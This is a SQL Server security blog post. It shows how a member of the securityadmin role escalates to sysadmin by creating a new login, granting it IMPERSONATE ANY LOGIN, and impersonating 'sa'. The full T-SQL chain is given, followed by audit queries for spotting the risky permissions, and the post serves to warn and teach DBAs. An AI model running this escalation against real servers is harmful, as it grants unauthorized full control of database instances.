- Audit on SQL Server (Server Audit)
- How to Create an Audit to Monitor Job Creation, Modification, and Deletion in SQL Server
- How to create an Audit trigger to log object manipulation in SQL Server
- SQL Server - How to implement audit and control of logins (Logon Trigger)
- Monitoring DDL and DCL Operations Using SQL Server fn_trace_gettable
- Using SQL Server Standard Trace to Audit Events (fn_trace_gettable)
- SQL Server - Permissions and privileges audit trigger at database and instance level (GRANT and REVOKE)
- SQL Server - How to Monitor and Audit Data Changes in Tables Using Change Data Capture (CDC)
- SQL Server 2016 - How to “Time Travel” Using the Temporal Tables Feature
- SQL Server - How to use auditing to map actual required permissions on a user
- SQL Server - Trigger to prevent and prevent changes to tables
- SQL Server - How to Create a Data Change History for Your Tables (Audit Logs)
- SQL Server - How to Avoid Brute Force Attacks on Your Database
- SQL Server Security Checklist - An SP with more than 70 security items to validate your database.
- SQL Server - How to know the date of a user's last login
- SQL Server - How to Avoid and Protect Against Ransomware Attacks Like WannaCry on Your Database Server
- SQL Server – Beware of server role securityadmin! Using privilege elevation to become sysadmin
- SQL Server - How to Avoid SQL Injection? Stop using Dynamic Query as EXEC (@Query). Now.
- SQL Server - Understanding the Risks of TRUSTWORTHY Property Enabled in a Database
- SQL Server - Password Policies, Password Expiration, Mandatory Password Change, and Login Lockout after N attempts
Speak guys!
In this post I would like to share with you an extremely dangerous situation that can end up going unnoticed by most SQL Server DBA's, which is the use of the securityadmin role or the ALTER ANY LOGIN and IMPERSONATE ANY LOGIN permissions without understanding exactly what they are for and what that someone with these permissions can do.
Introduction
According to Microsoft documentation, which can be accessed by clicking here, the members of the role securityadmin manage logins and their properties. They have GRANT, REVOKE, and DENY server-level permissions and can have those same database-level permissions as well, if they have access to the database. Also, they can reset passwords for SQL Server logins.
Although I have already demonstrated this demo in several lectures around Brazil since 2018 and I have also demonstrated it in my SQL Server Security, this content was not yet available here on the blog and so I would like to share it with you.
securityadmin is the same as sysadmin?
If you are a DBA who has already added a user in the securityadmin role after some request and didn't even ask why you need this role and didn't research more about what this role can do, you should be worried now.. lol
In theory, these two server roles are quite different. The securityadmin is a role that allows you to manage logins and login properties. The sysadmin role, on the other hand, is a role that allows you to do anything, with unrestricted privileges and no limitation of anything.
So how are these two server roles considered equivalent, according to Microsoft documentation?
To demonstrate how this works, I'll create a user called teste_security_admin and associate that user with the server role securityadmin:
|
1 2 3 4 5 |
CREATE LOGIN [teste_security_admin] WITH PASSWORD = 'dirceu', DEFAULT_DATABASE=master, CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF GO ALTER SERVER ROLE securityadmin ADD MEMBER [teste_security_admin] GO |
Now I will connect to the instance using the newly created user:
Now I will check my permissions and the logged in user:
|
1 2 3 4 5 6 7 8 9 |
SELECT USER_NAME() AS [USER_NAME], USER AS [USER], SESSION_USER AS [SESSION_USER], SUSER_SNAME() AS [SUSER_SNAME], SUSER_NAME() AS [SUSER_NAME], ORIGINAL_LOGIN() AS [ORIGINAL_LOGIN], IS_SRVROLEMEMBER('sysadmin') AS [IS_SYSADMIN], IS_SRVROLEMEMBER('securityadmin') AS [IS_SECURITYADMIN]; |
Result:
Just checking the teste_security_admin user permissions:
|
1 2 |
SELECT * FROM sys.fn_my_permissions(NULL, 'SERVER') |
Result:
Everything is fine and as expected so far. I will try to increase my access levels:
Okay, it didn't work. I'll try to impersonate a sysadmin(sa) user to do what I want later.
It didn't work either… I'll then try to give myself IMPERSONATE ANY LOGIN access and impersonate a sysadmin (sa) user to do whatever I want later.
The message was very clear: I cannot modify my own accesses.
Well, as a member of the securityadmin role, I have the ALTER ANY LOGIN permission, which allows me to manage the permissions of any login and also create/delete logins. What if I create another login then?
|
1 2 |
CREATE LOGIN [exploit] WITH PASSWORD = 'hacker', CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF, DEFAULT_DATABASE=master GO |
Result:
I will now give IMPERSONATE ANY LOGIN access to this new user. With this, I will be able to impersonate the user “sa”.
|
1 2 3 4 5 |
USE [master] GO GRANT IMPERSONATE ANY LOGIN TO [exploit] GO |
Result:
Looks like it worked. We will test connecting to the instance with this new user!
Let's check the current permissions:
|
1 2 3 4 5 6 7 8 9 10 11 12 |
SELECT USER_NAME() AS [USER_NAME], USER AS [USER], SESSION_USER AS [SESSION_USER], SUSER_SNAME() AS [SUSER_SNAME], SUSER_NAME() AS [SUSER_NAME], ORIGINAL_LOGIN() AS [ORIGINAL_LOGIN], IS_SRVROLEMEMBER('sysadmin') AS [IS_SYSADMIN], IS_SRVROLEMEMBER('securityadmin') AS [IS_SECURITYADMIN] SELECT * FROM sys.fn_my_permissions(NULL, 'SERVER') |
Result:
With just this “IMPERSONATE ANY LOGIN” permission (being equally dangerous) that I granted to a new login I just created, that's where the damage comes. With this permission, I can impersonate ANY user on the instance and run commands as if I were him (and inheriting the same permission levels he has).
We'll see if that's true and I'll impersonate the “sa” user:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
EXECUTE AS LOGIN = 'sa' GO SELECT USER_NAME() AS [USER_NAME], USER AS [USER], SESSION_USER AS [SESSION_USER], SUSER_SNAME() AS [SUSER_SNAME], SUSER_NAME() AS [SUSER_NAME], ORIGINAL_LOGIN() AS [ORIGINAL_LOGIN], IS_SRVROLEMEMBER('sysadmin') AS [IS_SYSADMIN], IS_SRVROLEMEMBER('securityadmin') AS [IS_SECURITYADMIN] SELECT * FROM sys.fn_my_permissions(NULL, 'SERVER') |
Result:
Jeez! Now I'm running commands as if I were the “sa” user!! Look there because this user must always be deactivated and renamed to a non-default name, as I explain in the article SQL Server - How to disable “sa” login minimizing impacts.
Still don't believe me? Let's make my old user a sysadmin then:
|
1 2 3 4 5 6 7 8 9 10 11 |
-- Verifica se o login está na role sysadmin SELECT IS_SRVROLEMEMBER('sysadmin', 'teste_security_admin') GO -- Adiciona o login na role sysadmin ALTER SERVER ROLE sysadmin ADD MEMBER [teste_security_admin] GO -- Verifica novamente se o login está na role sysadmin SELECT IS_SRVROLEMEMBER('sysadmin', 'teste_security_admin') GO |
Result:
And finally, I'm going to connect again with the teste_security_admin user just to leave no doubt and run the permissions validation again.
Elevation of privilege attack successfully performed and sysadmin access gained. Now I have full control of the instance.
Want to know which users have ALTER ANY LOGIN or IMPERSONATE ANY LOGIN permissions?
|
1 2 3 4 5 6 7 8 |
SELECT B.[name], A.[permission_name] FROM sys.server_permissions A JOIN sys.server_principals B ON A.grantee_principal_id = B.principal_id WHERE A.[permission_name] IN ( 'IMPERSONATE ANY LOGIN', 'ALTER ANY LOGIN' ) |
Result:
Want to know who are the logins that belong to the server role securityadmin or sysadmin?
|
1 2 3 4 5 6 7 8 9 |
SELECT B.[name] AS [role], C.[name] AS [usuario] FROM sys.server_role_members A JOIN sys.server_principals B ON A.role_principal_id = B.principal_id JOIN sys.server_principals C ON A.member_principal_id = C.principal_id WHERE B.[name] IN ( 'sysadmin', 'securityadmin' ) |
Result:
I hope you enjoyed this security tip and that it can help you keep your data more secure.
A big hug and see you in the next article.
Very good description. Many thanks